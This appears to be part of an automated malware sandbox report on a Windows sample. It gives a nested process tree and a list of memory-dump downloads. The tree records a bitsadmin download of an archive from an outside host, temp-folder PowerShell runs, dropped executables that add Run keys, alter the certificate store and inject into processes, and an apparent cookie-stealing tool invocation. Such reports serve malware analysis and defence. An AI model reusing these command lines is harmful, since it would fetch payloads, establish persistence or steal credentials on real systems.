                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsi2637.tmp\tempfile.ps1"
                                                                                                                    8⤵
                                                                                                                      PID:4084
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsi2637.tmp\tempfile.ps1"
                                                                                                                      8⤵
                                                                                                                        PID:4020
                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsi2637.tmp\tempfile.ps1"
                                                                                                                        8⤵
                                                                                                                          PID:3424
                                                                                                                        • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                          "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                                                                          8⤵
                                                                                                                          • Download via BitsAdmin
                                                                                                                          PID:3852
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xgazgahj.avb\df4e3841.exe & exit
                                                                                                                      6⤵
                                                                                                                        PID:2908
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\xgazgahj.avb\df4e3841.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\xgazgahj.avb\df4e3841.exe
                                                                                                                          7⤵
                                                                                                                            PID:1532
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4xlogb4h.ahj\app.exe /8-2222 & exit
                                                                                                                          6⤵
                                                                                                                            PID:1960
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\4xlogb4h.ahj\app.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\4xlogb4h.ahj\app.exe /8-2222
                                                                                                                              7⤵
                                                                                                                                PID:4052
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\4xlogb4h.ahj\app.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\4xlogb4h.ahj\app.exe" /8-2222
                                                                                                                                  8⤵
                                                                                                                                    PID:2844
                                                                                                                      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\JoSetp.exe
                                                                                                                        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\JoSetp.exe"
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Modifies system certificate store
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:536
                                                                                                                        • C:\ProgramData\2074965.exe
                                                                                                                          "C:\ProgramData\2074965.exe"
                                                                                                                          3⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:2428
                                                                                                                        • C:\ProgramData\6811836.exe
                                                                                                                          "C:\ProgramData\6811836.exe"
                                                                                                                          3⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:2580
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2580 -s 716
                                                                                                                            4⤵
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Program crash
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:3060
                                                                                                                        • C:\ProgramData\6693031.exe
                                                                                                                          "C:\ProgramData\6693031.exe"
                                                                                                                          3⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:2756
                                                                                                                          • C:\ProgramData\6693031.exe
                                                                                                                            "{path}"
                                                                                                                            4⤵
                                                                                                                              PID:3760
                                                                                                                        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\BarSetpFile.exe
                                                                                                                          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\BarSetpFile.exe"
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1480
                                                                                                                          • C:\ProgramData\4644764.exe
                                                                                                                            "C:\ProgramData\4644764.exe"
                                                                                                                            3⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:2364
                                                                                                                          • C:\ProgramData\6557615.exe
                                                                                                                            "C:\ProgramData\6557615.exe"
                                                                                                                            3⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Adds Run key to start application
                                                                                                                            PID:2500
                                                                                                                            • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                              "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                                              4⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:2988
                                                                                                                          • C:\ProgramData\4525959.exe
                                                                                                                            "C:\ProgramData\4525959.exe"
                                                                                                                            3⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:2628
                                                                                                                            • C:\ProgramData\4525959.exe
                                                                                                                              "{path}"
                                                                                                                              4⤵
                                                                                                                                PID:3892
                                                                                                                              • C:\ProgramData\4525959.exe
                                                                                                                                "{path}"
                                                                                                                                4⤵
                                                                                                                                  PID:3928
                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                C:\Windows\system32\WerFault.exe -u -p 1480 -s 1604
                                                                                                                                3⤵
                                                                                                                                • Program crash
                                                                                                                                PID:2420
                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LOQn7WyBrhly.exe
                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LOQn7WyBrhly.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              PID:596
                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                3⤵
                                                                                                                                  PID:2764
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\r2xk4a5m.qjj\gpooe.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\r2xk4a5m.qjj\gpooe.exe
                                                                                                                              1⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                              PID:3564
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                2⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:3728
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                2⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:3452

                                                                                                                            Network

                                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            • memory/536-137-0x00000000001C0000-0x00000000001DF000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              124KB

                                                                                                                              Download

                                                                                                                            • memory/536-149-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/536-102-0x0000000000210000-0x0000000000211000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/536-138-0x000000001ADB0000-0x000000001ADB2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/536-122-0x00000000001B0000-0x00000000001B1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/596-135-0x00000000001B0000-0x00000000001B1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/596-162-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/864-134-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/872-289-0x0000000001320000-0x0000000001364000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              272KB

                                                                                                                              Download

                                                                                                                            • memory/872-300-0x0000000002700000-0x0000000002767000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              412KB

                                                                                                                              Download

                                                                                                                            • memory/872-290-0x0000000002460000-0x00000000024C7000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              412KB

                                                                                                                              Download

                                                                                                                            • memory/872-167-0x0000000000AA0000-0x0000000000AE4000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              272KB

                                                                                                                              Download

                                                                                                                            • memory/872-168-0x0000000001F00000-0x0000000001F67000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              412KB

                                                                                                                              Download

                                                                                                                            • memory/924-148-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/1084-60-0x00000000752F1000-0x00000000752F3000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/1156-106-0x0000000000400000-0x0000000000413000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              76KB

                                                                                                                              Download

                                                                                                                            • memory/1288-313-0x0000000003D90000-0x0000000003DA7000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              92KB

                                                                                                                              Download

                                                                                                                            • memory/1480-146-0x000000001AFB0000-0x000000001AFB2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/1480-152-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/1480-115-0x0000000000990000-0x0000000000991000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/1480-150-0x00000000001C0000-0x00000000001DF000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              124KB

                                                                                                                              Download

                                                                                                                            • memory/1480-139-0x00000000001B0000-0x00000000001B1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/1500-114-0x0000000000F40000-0x0000000001596000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              6.3MB

                                                                                                                              Download

                                                                                                                            • memory/1520-87-0x0000000000B50000-0x0000000000B51000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/1520-125-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/1532-107-0x0000000000400000-0x000000000043B000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              236KB

                                                                                                                              Download

                                                                                                                            • memory/1612-259-0x00000000003C0000-0x00000000003C1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/1684-247-0x0000000000AA0000-0x0000000000AA2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/1844-140-0x00000000002F0000-0x0000000000384000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              592KB

                                                                                                                              Download

                                                                                                                            • memory/1844-161-0x0000000000400000-0x000000000088D000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4.6MB

                                                                                                                              Download

                                                                                                                            • memory/1932-164-0x00000000003F0000-0x0000000000446000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              344KB

                                                                                                                              Download

                                                                                                                            • memory/1932-163-0x0000000000360000-0x000000000039A000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              232KB

                                                                                                                              Download

                                                                                                                            • memory/2064-262-0x0000000002CA0000-0x0000000002DA5000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              1.0MB

                                                                                                                              Download

                                                                                                                            • memory/2064-170-0x00000000004A0000-0x0000000000507000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              412KB

                                                                                                                              Download

                                                                                                                            • memory/2364-205-0x0000000004970000-0x0000000004971000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2364-199-0x00000000005E0000-0x0000000000612000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              200KB

                                                                                                                              Download

                                                                                                                            • memory/2364-204-0x0000000000260000-0x0000000000261000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2364-179-0x0000000000980000-0x0000000000981000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2364-181-0x0000000000190000-0x0000000000191000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2384-272-0x0000000004DC1000-0x0000000004FB0000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              1.9MB

                                                                                                                              Download

                                                                                                                            • memory/2384-271-0x0000000065EC0000-0x0000000067271000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              19.7MB

                                                                                                                              Download

                                                                                                                            • memory/2384-281-0x00000000023C7000-0x00000000023D8000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              68KB

                                                                                                                              Download

                                                                                                                            • memory/2384-268-0x00000000023C0000-0x00000000023C1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2384-273-0x0000000000781000-0x00000000007C3000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              264KB

                                                                                                                              Download

                                                                                                                            • memory/2384-278-0x00000000023C2000-0x00000000023C3000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2384-274-0x00000000023C1000-0x00000000023C2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2412-261-0x0000000000CF0000-0x0000000000CF2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/2420-304-0x0000000000410000-0x0000000000411000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2420-241-0x0000000000400000-0x000000000043B000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              236KB

                                                                                                                              Download

                                                                                                                            • memory/2428-196-0x0000000000230000-0x0000000000231000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2428-189-0x0000000000E40000-0x0000000000E41000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2428-210-0x0000000000490000-0x00000000004C2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              200KB

                                                                                                                              Download

                                                                                                                            • memory/2428-214-0x0000000000400000-0x0000000000401000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2428-211-0x0000000000620000-0x0000000000621000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2452-209-0x0000000001FB0000-0x0000000001FB2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/2468-250-0x0000000000C36000-0x0000000000C55000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              124KB

                                                                                                                              Download

                                                                                                                            • memory/2468-249-0x0000000000C30000-0x0000000000C32000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/2500-215-0x0000000004740000-0x0000000004741000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2500-195-0x0000000000B80000-0x0000000000B81000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2500-218-0x00000000003A0000-0x00000000003A1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2500-208-0x0000000000340000-0x0000000000352000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              72KB

                                                                                                                              Download

                                                                                                                            • memory/2500-200-0x00000000002F0000-0x00000000002F1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2508-246-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2524-212-0x0000000000900000-0x0000000000902000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/2580-202-0x0000000000380000-0x0000000000381000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2580-222-0x00000000046F0000-0x00000000046F1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2628-224-0x00000000002F0000-0x00000000002F1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2628-223-0x0000000004C90000-0x0000000004C91000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2628-234-0x0000000000430000-0x0000000000435000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              20KB

                                                                                                                              Download

                                                                                                                            • memory/2628-206-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2756-219-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2756-232-0x0000000004F00000-0x0000000004F81000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              516KB

                                                                                                                              Download

                                                                                                                            • memory/2756-226-0x0000000004980000-0x0000000004981000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2756-227-0x0000000000280000-0x0000000000281000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2764-285-0x00000000012A0000-0x00000000012A1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/2900-270-0x0000000000A66000-0x0000000000A85000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              124KB

                                                                                                                              Download

                                                                                                                            • memory/2900-269-0x0000000000A60000-0x0000000000A62000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                              Download

                                                                                                                            • memory/2988-228-0x0000000001310000-0x0000000001311000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/3040-258-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              80KB

                                                                                                                              Download

                                                                                                                            • memory/3060-239-0x00000000003F0000-0x0000000000414000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              144KB

                                                                                                                              Download

                                                                                                                            • memory/3104-298-0x00000000003D0000-0x0000000000426000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              344KB

                                                                                                                              Download

                                                                                                                            • memory/3256-288-0x00000000003C0000-0x0000000000416000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              344KB

                                                                                                                              Download

                                                                                                                            • memory/3256-287-0x00000000002A0000-0x00000000002DA000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              232KB

                                                                                                                              Download

                                                                                                                            • memory/3272-308-0x00000000002E0000-0x0000000000380000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              640KB

                                                                                                                              Download

                                                                                                                            • memory/3272-307-0x0000000000140000-0x0000000000141000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/3600-310-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              48KB

                                                                                                                              Download

                                                                                                                            • memory/3628-309-0x00000000001B0000-0x00000000001BC000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              48KB

                                                                                                                              Download

                                                                                                                            • memory/3760-312-0x0000000004D50000-0x0000000004D51000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download

                                                                                                                            • memory/3928-311-0x00000000022E0000-0x00000000022E1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              4KB

                                                                                                                              Download